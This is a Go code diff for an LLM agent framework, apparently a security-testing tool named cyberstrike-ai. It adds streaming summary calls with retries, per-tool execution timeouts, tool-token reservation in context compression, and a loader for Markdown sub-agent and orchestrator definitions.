-					if summaryChoice.Message.Content != "" {
-						result.Response = summaryChoice.Message.Content
-						result.LastReActOutput = result.Response
-						sendProgress("progress", "总结生成完成", nil)
-						return result, nil
-					}
+				messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools，不预留
+				// 流式调用OpenAI获取总结（不提供工具，强制AI直接回复）
+				sendProgress("response_start", "", map[string]interface{}{
+					"conversationId":     conversationID,
+					"mcpExecutionIds":   result.MCPExecutionIDs,
+					"messageGeneratedBy": "summary",
+				})
+				streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
+					sendProgress("response_delta", delta, map[string]interface{}{
+						"conversationId": conversationID,
+					})
+					return nil
+				})
+				if strings.TrimSpace(streamText) != "" {
+					result.Response = streamText
+					result.LastReActOutput = result.Response
+					sendProgress("progress", "总结生成完成", nil)
+					return result, nil
 				}
 				// 如果获取总结失败，跳出循环，让后续逻辑处理
 				break
@@ -814,7 +864,7 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 		})
 
 		// 发送AI思考内容（如果没有工具调用）
-		if choice.Message.Content != "" {
+		if choice.Message.Content != "" && !thinkingStreamStarted {
 			sendProgress("thinking", choice.Message.Content, map[string]interface{}{
 				"iteration": i + 1,
 			})
@@ -828,17 +878,24 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 				Role:    "user",
 				Content: "这是最后一次迭代。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试，请提供详细的下一步执行计划。请直接回复，不要调用工具。",
 			})
-			messages = a.applyMemoryCompression(ctx, messages)
-			// 立即调用OpenAI获取总结
-			summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具，强制AI直接回复
-			if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
-				summaryChoice := summaryResponse.Choices[0]
-				if summaryChoice.Message.Content != "" {
-					result.Response = summaryChoice.Message.Content
-					result.LastReActOutput = result.Response
-					sendProgress("progress", "总结生成完成", nil)
-					return result, nil
-				}
+			messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools，不预留
+			// 流式调用OpenAI获取总结（不提供工具，强制AI直接回复）
+			sendProgress("response_start", "", map[string]interface{}{
+				"conversationId":     conversationID,
+				"mcpExecutionIds":   result.MCPExecutionIDs,
+				"messageGeneratedBy": "summary",
+			})
+			streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
+				sendProgress("response_delta", delta, map[string]interface{}{
+					"conversationId": conversationID,
+				})
+				return nil
+			})
+			if strings.TrimSpace(streamText) != "" {
+				result.Response = streamText
+				result.LastReActOutput = result.Response
+				sendProgress("progress", "总结生成完成", nil)
+				return result, nil
 			}
 			// 如果获取总结失败，使用当前回复作为结果
 			if choice.Message.Content != "" {
@@ -867,17 +924,25 @@ func (a *Agent) AgentLoopWithProgress(ctx context.Context, userInput string, his
 		Content: fmt.Sprintf("已达到最大迭代次数（%d轮）。请总结到目前为止的所有测试结果、发现的问题和已完成的工作。如果需要继续测试，请提供详细的下一步执行计划。请直接回复，不要调用工具。", a.maxIterations),
 	}
 	messages = append(messages, finalSummaryPrompt)
-	messages = a.applyMemoryCompression(ctx, messages)
+	messages = a.applyMemoryCompression(ctx, messages, 0) // 总结时不带 tools，不预留
 
-	summaryResponse, err := a.callOpenAI(ctx, messages, []Tool{}) // 不提供工具，强制AI直接回复
-	if err == nil && summaryResponse != nil && len(summaryResponse.Choices) > 0 {
-		summaryChoice := summaryResponse.Choices[0]
-		if summaryChoice.Message.Content != "" {
-			result.Response = summaryChoice.Message.Content
-			result.LastReActOutput = result.Response
-			sendProgress("progress", "总结生成完成", nil)
-			return result, nil
-		}
+	// 流式调用OpenAI获取总结（不提供工具，强制AI直接回复）
+	sendProgress("response_start", "", map[string]interface{}{
+		"conversationId":     conversationID,
+		"mcpExecutionIds":   result.MCPExecutionIDs,
+		"messageGeneratedBy": "max_iter_summary",
+	})
+	streamText, _ := a.callOpenAIStreamText(ctx, messages, []Tool{}, func(delta string) error {
+		sendProgress("response_delta", delta, map[string]interface{}{
+			"conversationId": conversationID,
+		})
+		return nil
+	})
+	if strings.TrimSpace(streamText) != "" {
+		result.Response = streamText
+		result.LastReActOutput = result.Response
+		sendProgress("progress", "总结生成完成", nil)
+		return result, nil
 	}
 
 	// 如果无法生成总结，返回友好的提示
@@ -1197,6 +1262,206 @@ func (a *Agent) callOpenAISingle(ctx context.Context, messages []ChatMessage, to
 	return &response, nil
 }
 
+// callOpenAISingleStreamText 单次调用OpenAI的流式模式，只用于“不会调用工具”的纯文本输出（tools 为空时最佳）。
+// onDelta 每收到一段 content delta，就回调一次；如果 callback 返回错误，会终止读取并返回错误。
+func (a *Agent) callOpenAISingleStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
+	reqBody := OpenAIRequest{
+		Model:    a.config.Model,
+		Messages: messages,
+		Stream:   true,
+	}
+	if len(tools) > 0 {
+		reqBody.Tools = tools
+	}
+
+	if a.openAIClient == nil {
+		return "", fmt.Errorf("OpenAI客户端未初始化")
+	}
+
+	return a.openAIClient.ChatCompletionStream(ctx, reqBody, onDelta)
+}
+
+// callOpenAIStreamText 调用OpenAI流式模式（带重试），仅在“未输出任何 delta”时才允许重试，避免重复发送已下发的内容。
+func (a *Agent) callOpenAIStreamText(ctx context.Context, messages []ChatMessage, tools []Tool, onDelta func(delta string) error) (string, error) {
+	maxRetries := 3
+	var lastErr error
+
+	for attempt := 0; attempt < maxRetries; attempt++ {
+		var deltasSent bool
+		full, err := a.callOpenAISingleStreamText(ctx, messages, tools, func(delta string) error {
+			deltasSent = true
+			return onDelta(delta)
+		})
+		if err == nil {
+			if attempt > 0 {
+				a.logger.Info("OpenAI stream 调用重试成功",
+					zap.Int("attempt", attempt+1),
+					zap.Int("maxRetries", maxRetries),
+				)
+			}
+			return full, nil
+		}
+
+		lastErr = err
+		// 已经开始输出了 delta，避免重复内容：直接失败让上层处理。
+		if deltasSent {
+			return "", err
+		}
+
+		if !a.isRetryableError(err) {
+			return "", err
+		}
+
+		if attempt < maxRetries-1 {
+			backoff := time.Duration(1<<uint(attempt+1)) * time.Second
+			if backoff > 30*time.Second {
+				backoff = 30 * time.Second
+			}
+			a.logger.Warn("OpenAI stream 调用失败，准备重试",
+				zap.Error(err),
+				zap.Int("attempt", attempt+1),
+				zap.Int("maxRetries", maxRetries),
+				zap.Duration("backoff", backoff),
+			)
+
+			select {
+			case <-ctx.Done():
+				return "", fmt.Errorf("上下文已取消: %w", ctx.Err())
+			case <-time.After(backoff):
+			}
+		}
+	}
+
+	return "", fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
+}
+
+// callOpenAISingleStreamWithToolCalls 单次调用OpenAI流式模式（带工具调用解析），不包含重试逻辑。
+func (a *Agent) callOpenAISingleStreamWithToolCalls(
+	ctx context.Context,
+	messages []ChatMessage,
+	tools []Tool,
+	onContentDelta func(delta string) error,
+) (*OpenAIResponse, error) {
+	reqBody := OpenAIRequest{
+		Model:    a.config.Model,
+		Messages: messages,
+		Stream:   true,
+	}
+	if len(tools) > 0 {
+		reqBody.Tools = tools
+	}
+	if a.openAIClient == nil {
+		return nil, fmt.Errorf("OpenAI客户端未初始化")
+	}
+
+	content, streamToolCalls, finishReason, err := a.openAIClient.ChatCompletionStreamWithToolCalls(ctx, reqBody, onContentDelta)
+	if err != nil {
+		return nil, err
+	}
+
+	toolCalls := make([]ToolCall, 0, len(streamToolCalls))
+	for _, stc := range streamToolCalls {
+		fnArgsStr := stc.FunctionArgsStr
+		args := make(map[string]interface{})
+		if strings.TrimSpace(fnArgsStr) != "" {
+			if err := json.Unmarshal([]byte(fnArgsStr), &args); err != nil {
+				// 兼容：arguments 不一定是严格 JSON
+				args = map[string]interface{}{"raw": fnArgsStr}
+			}
+		}
+
+		typ := stc.Type
+		if strings.TrimSpace(typ) == "" {
+			typ = "function"
+		}
+
+		toolCalls = append(toolCalls, ToolCall{
+			ID:   stc.ID,
+			Type: typ,
+			Function: FunctionCall{
+				Name:      stc.FunctionName,
+				Arguments: args,
+			},
+		})
+	}
+
+	response := &OpenAIResponse{
+		ID: "",
+		Choices: []Choice{
+			{
+				Message: MessageWithTools{
+					Role:      "assistant",
+					Content:   content,
+					ToolCalls: toolCalls,
+				},
+				FinishReason: finishReason,
+			},
+		},
+	}
+	return response, nil
+}
+
+// callOpenAIStreamWithToolCalls 调用OpenAI流式模式（带重试），仅当还没有输出任何 content delta 时才允许重试。
+func (a *Agent) callOpenAIStreamWithToolCalls(
+	ctx context.Context,
+	messages []ChatMessage,
+	tools []Tool,
+	onContentDelta func(delta string) error,
+) (*OpenAIResponse, error) {
+	maxRetries := 3
+	var lastErr error
+
+	for attempt := 0; attempt < maxRetries; attempt++ {
+		deltasSent := false
+		resp, err := a.callOpenAISingleStreamWithToolCalls(ctx, messages, tools, func(delta string) error {
+			deltasSent = true
+			if onContentDelta != nil {
+				return onContentDelta(delta)
+			}
+			return nil
+		})
+		if err == nil {
+			if attempt > 0 {
+				a.logger.Info("OpenAI stream 调用重试成功",
+					zap.Int("attempt", attempt+1),
+					zap.Int("maxRetries", maxRetries),
+				)
+			}
+			return resp, nil
+		}
+
+		lastErr = err
+		if deltasSent {
+			// 已经开始输出了 delta：避免重复发送
+			return nil, err
+		}
+
+		if !a.isRetryableError(err) {
+			return nil, err
+		}
+		if attempt < maxRetries-1 {
+			backoff := time.Duration(1<<uint(attempt+1)) * time.Second
+			if backoff > 30*time.Second {
+				backoff = 30 * time.Second
+			}
+			a.logger.Warn("OpenAI stream 调用失败，准备重试",
+				zap.Error(err),
+				zap.Int("attempt", attempt+1),
+				zap.Int("maxRetries", maxRetries),
+				zap.Duration("backoff", backoff),
+			)
+
+			select {
+			case <-ctx.Done():
+				return nil, fmt.Errorf("上下文已取消: %w", ctx.Err())
+			case <-time.After(backoff):
+			}
+		}
+	}
+
+	return nil, fmt.Errorf("重试%d次后仍然失败: %w", maxRetries, lastErr)
+}
+
 // ToolExecutionResult 工具执行结果
 type ToolExecutionResult struct {
 	Result      string
@@ -1232,6 +1497,18 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 	var executionID string
 	var err error
 
+	// 单次工具执行超时：防止单个工具长时间挂起（如 30 分钟仍显示执行中）
+	toolCtx := ctx
+	var toolCancel context.CancelFunc
+	if a.agentConfig != nil && a.agentConfig.ToolTimeoutMinutes > 0 {
+		toolCtx, toolCancel = context.WithTimeout(ctx, time.Duration(a.agentConfig.ToolTimeoutMinutes)*time.Minute)
+		defer func() {
+			if toolCancel != nil {
+				toolCancel()
+			}
+		}()
+	}
+
 	// 检查是否是外部MCP工具（通过工具名称映射）
 	a.mu.RLock()
 	originalToolName, isExternalTool := a.toolNameMapping[toolName]
@@ -1243,29 +1520,39 @@ func (a *Agent) executeToolViaMCP(ctx context.Context, toolName string, args map
 			zap.String("openAIName", toolName),
 			zap.String("originalName", originalToolName),
 		)
-		result, executionID, err = a.externalMCPMgr.CallTool(ctx, originalToolName, args)
+		result, executionID, err = a.externalMCPMgr.CallTool(toolCtx, originalToolName, args)
 	} else {
 		// 调用内部MCP工具
-		result, executionID, err = a.mcpServer.CallTool(ctx, toolName, args)
+		result, executionID, err = a.mcpServer.CallTool(toolCtx, toolName, args)
 	}
 
-	// 如果调用失败（如工具不存在），返回友好的错误信息而不是抛出异常
+	// 如果调用失败（如工具不存在、超时），返回友好的错误信息而不是抛出异常
 	if err != nil {
+		detail := err.Error()
+		if errors.Is(err, context.DeadlineExceeded) {
+			min := 10
+			if a.agentConfig != nil && a.agentConfig.ToolTimeoutMinutes > 0 {
+				min = a.agentConfig.ToolTimeoutMinutes
+			}
+			detail = fmt.Sprintf("工具执行超过 %d 分钟被自动终止（可在 config.yaml 的 agent.tool_timeout_minutes 中调整）", min)
+		}
 		errorMsg := fmt.Sprintf(`工具调用失败
 
 工具名称: %s
 错误类型: 系统错误
-错误详情: %v
+错误详情: %s
 
 可能的原因：
 - 工具 "%s" 不存在或未启用
+- 单次执行超时（agent.tool_timeout_minutes）
 - 系统配置问题
 - 网络或权限问题
 
 建议：
 - 检查工具名称是否正确
+- 若需更长执行时间，可适当增大 agent.tool_timeout_minutes
 - 尝试使用其他替代工具
-- 如果这是必需的工具，请向用户说明情况`, toolName, err, toolName)
+- 如果这是必需的工具，请向用户说明情况`, toolName, detail, toolName)
 
 		return &ToolExecutionResult{
 			Result:      errorMsg,
@@ -1425,13 +1712,13 @@ func (a *Agent) formatToolError(toolName string, args map[string]interface{}, er
 	return errorMsg
 }
 
-// applyMemoryCompression 在调用LLM前对消息进行压缩，避免超过token限制
-func (a *Agent) applyMemoryCompression(ctx context.Context, messages []ChatMessage) []ChatMessage {
+// applyMemoryCompression 在调用LLM前对消息进行压缩，避免超过 token 限制。reservedTokens 为预留给 tools 的 token 数，传 0 表示不预留。
+func (a *Agent) applyMemoryCompression(ctx context.Context, messages []ChatMessage, reservedTokens int) []ChatMessage {
 	if a.memoryCompressor == nil {
 		return messages
 	}
 
-	compressed, changed, err := a.memoryCompressor.CompressHistory(ctx, messages)
+	compressed, changed, err := a.memoryCompressor.CompressHistory(ctx, messages, reservedTokens)
 	if err != nil {
 		a.logger.Warn("上下文压缩失败，将使用原始消息继续", zap.Error(err))
 		return messages
@@ -1447,6 +1734,18 @@ func (a *Agent) applyMemoryCompression(ctx context.Context, messages []ChatMessa
 	return messages
 }
 
+// countToolsTokens 统计 tools 序列化后的 token 数，用于日志与压缩时预留空间。mc 为 nil 时返回 0。
+func (a *Agent) countToolsTokens(tools []Tool) int {
+	if len(tools) == 0 || a.memoryCompressor == nil {
+		return 0
+	}
+	data, err := json.Marshal(tools)
+	if err != nil {
+		return 0
+	}
+	return a.memoryCompressor.CountTextTokens(string(data))
+}
+
 // handleMissingToolError 当LLM调用不存在的工具时，向其追加提示消息并允许继续迭代
 func (a *Agent) handleMissingToolError(errMsg string, messages *[]ChatMessage) (bool, string) {
 	lowerMsg := strings.ToLower(errMsg)
@@ -1591,6 +1890,25 @@ func (a *Agent) repairOrphanToolMessages(messages *[]ChatMessage) bool {
 	return removed
 }
 
+// ToolsForRole 返回与单 Agent 循环一致的工具定义（OpenAI function 格式），供 Eino DeepAgent 等编排层绑定 MCP 工具。
+func (a *Agent) ToolsForRole(roleTools []string) []Tool {
+	return a.getAvailableTools(roleTools)
+}
+
+// ExecuteMCPToolForConversation 在指定会话上下文中执行 MCP 工具（行为与主 Agent 循环中的工具调用一致，如自动注入 conversation_id）。
+func (a *Agent) ExecuteMCPToolForConversation(ctx context.Context, conversationID, toolName string, args map[string]interface{}) (*ToolExecutionResult, error) {
+	a.mu.Lock()
+	prev := a.currentConversationID
+	a.currentConversationID = conversationID
+	a.mu.Unlock()
+	defer func() {
+		a.mu.Lock()
+		a.currentConversationID = prev
+		a.mu.Unlock()
+	}()
+	return a.executeToolViaMCP(ctx, toolName, args)
+}
+
 // extractQuotedToolName 尝试从错误信息中提取被引用的工具名称
 func extractQuotedToolName(errMsg string) string {
 	start := strings.Index(errMsg, "\"")

internal/agent/memory_compressor.go

@@ -158,8 +158,8 @@ func (mc *MemoryCompressor) UpdateConfig(cfg *config.OpenAIConfig) {
 	}
 }
 
-// CompressHistory 根据Token限制压缩历史消息。
-func (mc *MemoryCompressor) CompressHistory(ctx context.Context, messages []ChatMessage) ([]ChatMessage, bool, error) {
+// CompressHistory 根据 Token 限制压缩历史消息。reservedTokens 为预留给 tools 等非消息内容的 token 数，压缩时使用 (maxTotalTokens - reservedTokens) 作为消息上限。
+func (mc *MemoryCompressor) CompressHistory(ctx context.Context, messages []ChatMessage, reservedTokens int) ([]ChatMessage, bool, error) {
 	if len(messages) == 0 {
 		return messages, false, nil
 	}
@@ -171,8 +171,13 @@ func (mc *MemoryCompressor) CompressHistory(ctx context.Context, messages []Chat
 		return messages, false, nil
 	}
 
+	effectiveMax := mc.maxTotalTokens
+	if reservedTokens > 0 && reservedTokens < mc.maxTotalTokens {
+		effectiveMax = mc.maxTotalTokens - reservedTokens
+	}
+
 	totalTokens := mc.countTotalTokens(systemMsgs, regularMsgs)
-	if totalTokens <= int(float64(mc.maxTotalTokens)*0.9) {
+	if totalTokens <= int(float64(effectiveMax)*0.9) {
 		return messages, false, nil
 	}
 
@@ -184,6 +189,8 @@ func (mc *MemoryCompressor) CompressHistory(ctx context.Context, messages []Chat
 	mc.logger.Info("memory compression triggered",
 		zap.Int("total_tokens", totalTokens),
 		zap.Int("max_total_tokens", mc.maxTotalTokens),
+		zap.Int("reserved_tokens", reservedTokens),
+		zap.Int("effective_max", effectiveMax),
 		zap.Int("system_messages", len(systemMsgs)),
 		zap.Int("regular_messages", len(regularMsgs)),
 		zap.Int("old_messages", len(oldMsgs)),
@@ -282,6 +289,11 @@ func (mc *MemoryCompressor) countTokens(text string) int {
 	return count
 }
 
+// CountTextTokens 对外暴露的文本 Token 计数，用于统计 tools 等非消息内容的 token（如 agent 侧序列化 tools 后计数）。
+func (mc *MemoryCompressor) CountTextTokens(text string) int {
+	return mc.countTokens(text)
+}
+
 // totalTokensFor provides token statistics without mutating the message list.
 func (mc *MemoryCompressor) totalTokensFor(messages []ChatMessage) (totalTokens int, systemCount int, regularCount int) {
 	if len(messages) == 0 {

internal/agents/markdown.go

@@ -0,0 +1,449 @@
+// Package agents 从 agents/ 目录加载 Markdown 代理定义（子代理 + 可选主代理 orchestrator.md / kind: orchestrator）。
+package agents
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"sort"
+	"strings"
+	"unicode"
+
+	"cyberstrike-ai/internal/config"
+
+	"gopkg.in/yaml.v3"
+)
+
+// OrchestratorMarkdownFilename 固定文件名：存在则视为 Deep 主代理定义，且不参与子代理列表。
+const OrchestratorMarkdownFilename = "orchestrator.md"
+
+// FrontMatter 对应 Markdown 文件头部字段（与文档示例一致）。
+type FrontMatter struct {
+	Name          string      `yaml:"name"`
+	ID            string      `yaml:"id"`
+	Description   string      `yaml:"description"`
+	Tools         interface{} `yaml:"tools"` // 字符串 "A, B" 或 []string
+	MaxIterations int         `yaml:"max_iterations"`
+	BindRole      string      `yaml:"bind_role,omitempty"`
+	Kind          string      `yaml:"kind,omitempty"` // orchestrator = 主代理（亦可仅用文件名 orchestrator.md）
+}
+
+// OrchestratorMarkdown 从 agents 目录解析出的主代理（Deep 协调者）定义。
+type OrchestratorMarkdown struct {
+	Filename    string
+	EinoName    string // 写入 deep.Config.Name / 流式事件过滤
+	DisplayName string
+	Description string
+	Instruction string
+}
+
+// MarkdownDirLoad 一次扫描 agents 目录的结果（子代理不含主代理文件）。
+type MarkdownDirLoad struct {
+	SubAgents    []config.MultiAgentSubConfig
+	Orchestrator *OrchestratorMarkdown
+	FileEntries  []FileAgent // 含主代理与所有子代理，供管理 API 列表
+}
+
+// IsOrchestratorMarkdown 判断该文件是否表示主代理：固定文件名 orchestrator.md，或 front matter kind: orchestrator。
+func IsOrchestratorMarkdown(filename string, fm FrontMatter) bool {
+	base := filepath.Base(strings.TrimSpace(filename))
+	if strings.EqualFold(base, OrchestratorMarkdownFilename) {
+		return true
+	}
+	return strings.EqualFold(strings.TrimSpace(fm.Kind), "orchestrator")
+}
+
+// WantsMarkdownOrchestrator 保存前判断是否会把该文件作为主代理（用于唯一性校验）。
+func WantsMarkdownOrchestrator(filename string, kindField string, raw string) bool {
+	if strings.EqualFold(strings.TrimSpace(kindField), "orchestrator") {
+		return true
+	}
+	base := filepath.Base(strings.TrimSpace(filename))
+	if strings.EqualFold(base, OrchestratorMarkdownFilename) {
+		return true
+	}
+	if strings.TrimSpace(raw) == "" {
+		return false
+	}
+	sub, err := ParseMarkdownSubAgent(filename, raw)
+	if err != nil {
+		return false
+	}
+	return strings.EqualFold(strings.TrimSpace(sub.Kind), "orchestrator")
+}
+
+// SplitFrontMatter 分离 YAML front matter 与正文（--- ... ---）。
+func SplitFrontMatter(content string) (frontYAML string, body string, err error) {
+	s := strings.TrimSpace(content)
+	if !strings.HasPrefix(s, "---") {
+		return "", s, nil
+	}
+	rest := strings.TrimPrefix(s, "---")
+	rest = strings.TrimLeft(rest, "\r\n")
+	end := strings.Index(rest, "\n---")
+	if end < 0 {
+		return "", "", fmt.Errorf("agents: 缺少结束的 --- 分隔符")
+	}
+	fm := strings.TrimSpace(rest[:end])
+	body = strings.TrimSpace(rest[end+4:])
+	body = strings.TrimLeft(body, "\r\n")
+	return fm, body, nil
+}
+
+func parseToolsField(v interface{}) []string {
+	if v == nil {
+		return nil
+	}
+	switch t := v.(type) {
+	case string:
+		return splitToolList(t)
+	case []interface{}:
+		var out []string
+		for _, x := range t {
+			if s, ok := x.(string); ok && strings.TrimSpace(s) != "" {
+				out = append(out, strings.TrimSpace(s))
+			}
+		}
+		return out
+	case []string:
+		var out []string
+		for _, s := range t {
+			if strings.TrimSpace(s) != "" {
+				out = append(out, strings.TrimSpace(s))
+			}
+		}
+		return out
+	default:
+		return nil
+	}
+}
+
+func splitToolList(s string) []string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return nil
+	}
+	parts := strings.FieldsFunc(s, func(r rune) bool {
+		return r == ',' || r == ';' || r == '|'
+	})
+	var out []string
+	for _, p := range parts {
+		p = strings.TrimSpace(p)
+		if p != "" {
+			out = append(out, p)
+		}
+	}
+	return out
+}
+
+// SlugID 从 name 生成可用的代理 id（小写、连字符）。
+func SlugID(name string) string {
+	var b strings.Builder
+	name = strings.TrimSpace(strings.ToLower(name))
+	lastDash := false
+	for _, r := range name {
+		switch {
+		case unicode.IsLetter(r) && r < unicode.MaxASCII, unicode.IsDigit(r):
+			b.WriteRune(r)
+			lastDash = false
+		case r == ' ' || r == '_' || r == '/' || r == '.':
+			if !lastDash && b.Len() > 0 {
+				b.WriteByte('-')
+				lastDash = true
+			}
+		}
+	}
+	s := strings.Trim(b.String(), "-")
+	if s == "" {
+		return "agent"
+	}
+	return s
+}
+
+// sanitizeEinoAgentID 规范化 Deep 主代理在 Eino 中的 Name：小写 ASCII、数字、连字符，与默认 cyberstrike-deep 一致。
+func sanitizeEinoAgentID(s string) string {
+	s = strings.TrimSpace(strings.ToLower(s))
+	var b strings.Builder
+	for _, r := range s {
+		switch {
+		case unicode.IsLetter(r) && r < unicode.MaxASCII, unicode.IsDigit(r):
+			b.WriteRune(r)
+		case r == '-':
+			b.WriteRune(r)
+		}
+	}
+	out := strings.Trim(b.String(), "-")
+	if out == "" {
+		return "cyberstrike-deep"
+	}
+	return out
+}
+
+func parseMarkdownAgentRaw(filename string, content string) (FrontMatter, string, error) {
+	var fm FrontMatter
+	fmStr, body, err := SplitFrontMatter(content)
+	if err != nil {
+		return fm, "", err
+	}
+	if strings.TrimSpace(fmStr) == "" {
+		return fm, "", fmt.Errorf("agents: %s 无 YAML front matter", filename)
+	}
+	if err := yaml.Unmarshal([]byte(fmStr), &fm); err != nil {
+		return fm, "", fmt.Errorf("agents: 解析 front matter: %w", err)
+	}
+	return fm, body, nil
+}
+
+func orchestratorFromParsed(filename string, fm FrontMatter, body string) (*OrchestratorMarkdown, error) {
+	display := strings.TrimSpace(fm.Name)
+	if display == "" {
+		display = "Orchestrator"
+	}
+	rawID := strings.TrimSpace(fm.ID)
+	if rawID == "" {
+		rawID = SlugID(display)
+	}
+	eino := sanitizeEinoAgentID(rawID)
+	return &OrchestratorMarkdown{
+		Filename:    filepath.Base(strings.TrimSpace(filename)),
+		EinoName:    eino,
+		DisplayName: display,
+		Description: strings.TrimSpace(fm.Description),
+		Instruction: strings.TrimSpace(body),
+	}, nil
+}
+
+func orchestratorConfigFromOrchestrator(o *OrchestratorMarkdown) config.MultiAgentSubConfig {
+	if o == nil {
+		return config.MultiAgentSubConfig{}
+	}
+	return config.MultiAgentSubConfig{
+		ID:            o.EinoName,
+		Name:          o.DisplayName,
+		Description:   o.Description,
+		Instruction:   o.Instruction,
+		Kind:          "orchestrator",
+	}
+}
+
+func subAgentFromFrontMatter(filename string, fm FrontMatter, body string) (config.MultiAgentSubConfig, error) {
+	var out config.MultiAgentSubConfig
+	name := strings.TrimSpace(fm.Name)
+	if name == "" {
+		return out, fmt.Errorf("agents: %s 缺少 name 字段", filename)
+	}
+	id := strings.TrimSpace(fm.ID)
+	if id == "" {
+		id = SlugID(name)
+	}
+	out.ID = id
+	out.Name = name
+	out.Description = strings.TrimSpace(fm.Description)
+	out.Instruction = strings.TrimSpace(body)
+	out.RoleTools = parseToolsField(fm.Tools)
+	out.MaxIterations = fm.MaxIterations
+	out.BindRole = strings.TrimSpace(fm.BindRole)
+	out.Kind = strings.TrimSpace(fm.Kind)
+	return out, nil
+}
+
+func collectMarkdownBasenames(dir string) ([]string, error) {
+	if strings.TrimSpace(dir) == "" {
+		return nil, nil
+	}
+	st, err := os.Stat(dir)
+	if err != nil {
+		if os.IsNotExist(err) {
+			return nil, nil
+		}
+		return nil, err
+	}
+	if !st.IsDir() {
+		return nil, fmt.Errorf("agents: 不是目录: %s", dir)
+	}
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return nil, err
+	}
+	var names []string
+	for _, e := range entries {
+		if e.IsDir() {
+			continue
+		}
+		n := e.Name()
+		if strings.HasPrefix(n, ".") {
+			continue
+		}
+		if !strings.EqualFold(filepath.Ext(n), ".md") {
+			continue
+		}
+		if strings.EqualFold(n, "README.md") {
+			continue
+		}
+		names = append(names, n)
+	}
+	sort.Strings(names)
+	return names, nil
+}
+
+// LoadMarkdownAgentsDir 扫描 agents 目录：拆出至多一个主代理与其余子代理。
+func LoadMarkdownAgentsDir(dir string) (*MarkdownDirLoad, error) {
+	out := &MarkdownDirLoad{}
+	names, err := collectMarkdownBasenames(dir)
+	if err != nil {
+		return nil, err
+	}
+	for _, n := range names {
+		p := filepath.Join(dir, n)
+		b, err := os.ReadFile(p)
+		if err != nil {
+			return nil, err
+		}
+		fm, body, err := parseMarkdownAgentRaw(n, string(b))
+		if err != nil {
+			return nil, fmt.Errorf("%s: %w", n, err)
+		}
+		if IsOrchestratorMarkdown(n, fm) {
+			if out.Orchestrator != nil {
+				return nil, fmt.Errorf("agents: 仅能定义一个主代理（Deep 协调者），已有 %s，又与 %s 冲突", out.Orchestrator.Filename, n)
+			}
+			orch, err := orchestratorFromParsed(n, fm, body)
+			if err != nil {
+				return nil, fmt.Errorf("%s: %w", n, err)
+			}
+			out.Orchestrator = orch
+			out.FileEntries = append(out.FileEntries, FileAgent{
+				Filename:       n,
+				Config:         orchestratorConfigFromOrchestrator(orch),
+				IsOrchestrator: true,
+			})
+			continue
+		}
+		sub, err := subAgentFromFrontMatter(n, fm, body)
+		if err != nil {
+			return nil, fmt.Errorf("%s: %w", n, err)
+		}
+		out.SubAgents = append(out.SubAgents, sub)
+		out.FileEntries = append(out.FileEntries, FileAgent{Filename: n, Config: sub, IsOrchestrator: false})
+	}
+	return out, nil
+}
+
+// ParseMarkdownSubAgent 将单个 Markdown 文件解析为 MultiAgentSubConfig。
+func ParseMarkdownSubAgent(filename string, content string) (config.MultiAgentSubConfig, error) {
+	fm, body, err := parseMarkdownAgentRaw(filename, content)
+	if err != nil {
+		return config.MultiAgentSubConfig{}, err
+	}
+	if IsOrchestratorMarkdown(filename, fm) {
+		orch, err := orchestratorFromParsed(filename, fm, body)
+		if err != nil {
+			return config.MultiAgentSubConfig{}, err
+		}
+		return orchestratorConfigFromOrchestrator(orch), nil
+	}
+	return subAgentFromFrontMatter(filename, fm, body)
+}
+
+// LoadMarkdownSubAgents 读取目录下所有子代理 .md（不含主代理 orchestrator.md / kind: orchestrator）。
+func LoadMarkdownSubAgents(dir string) ([]config.MultiAgentSubConfig, error) {
+	load, err := LoadMarkdownAgentsDir(dir)
+	if err != nil {
+		return nil, err
+	}
+	return load.SubAgents, nil
+}
+
+// FileAgent 单个 Markdown 文件及其解析结果。
+type FileAgent struct {
+	Filename       string
+	Config         config.MultiAgentSubConfig
+	IsOrchestrator bool
+}
+
+// LoadMarkdownAgentFiles 列出目录下全部 .md（含主代理），供管理 API 使用。
+func LoadMarkdownAgentFiles(dir string) ([]FileAgent, error) {
+	load, err := LoadMarkdownAgentsDir(dir)
+	if err != nil {
+		return nil, err
+	}
+	return load.FileEntries, nil
+}
+
+// MergeYAMLAndMarkdown 合并 config.yaml 中的 sub_agents 与 Markdown 定义：同 id 时 Markdown 覆盖 YAML；仅存在于 Markdown 的条目追加在 YAML 顺序之后。
+func MergeYAMLAndMarkdown(yamlSubs []config.MultiAgentSubConfig, mdSubs []config.MultiAgentSubConfig) []config.MultiAgentSubConfig {
+	mdByID := make(map[string]config.MultiAgentSubConfig)
+	for _, m := range mdSubs {
+		id := strings.TrimSpace(m.ID)
+		if id == "" {
+			continue
+		}
+		mdByID[id] = m
+	}
+	yamlIDSet := make(map[string]bool)
+	for _, y := range yamlSubs {
+		yamlIDSet[strings.TrimSpace(y.ID)] = true
+	}
+	out := make([]config.MultiAgentSubConfig, 0, len(yamlSubs)+len(mdSubs))
+	for _, y := range yamlSubs {
+		id := strings.TrimSpace(y.ID)
+		if id == "" {
+			continue
+		}
+		if m, ok := mdByID[id]; ok {
+			out = append(out, m)
+		} else {
+			out = append(out, y)
+		}
+	}
+	for _, m := range mdSubs {
+		id := strings.TrimSpace(m.ID)
+		if id == "" || yamlIDSet[id] {
+			continue
+		}
+		out = append(out, m)
+	}
+	return out
+}
+
+// EffectiveSubAgents 供多代理运行时使用。
+func EffectiveSubAgents(yamlSubs []config.MultiAgentSubConfig, agentsDir string) ([]config.MultiAgentSubConfig, error) {
+	md, err := LoadMarkdownSubAgents(agentsDir)
+	if err != nil {
+		return nil, err
+	}
+	if len(md) == 0 {
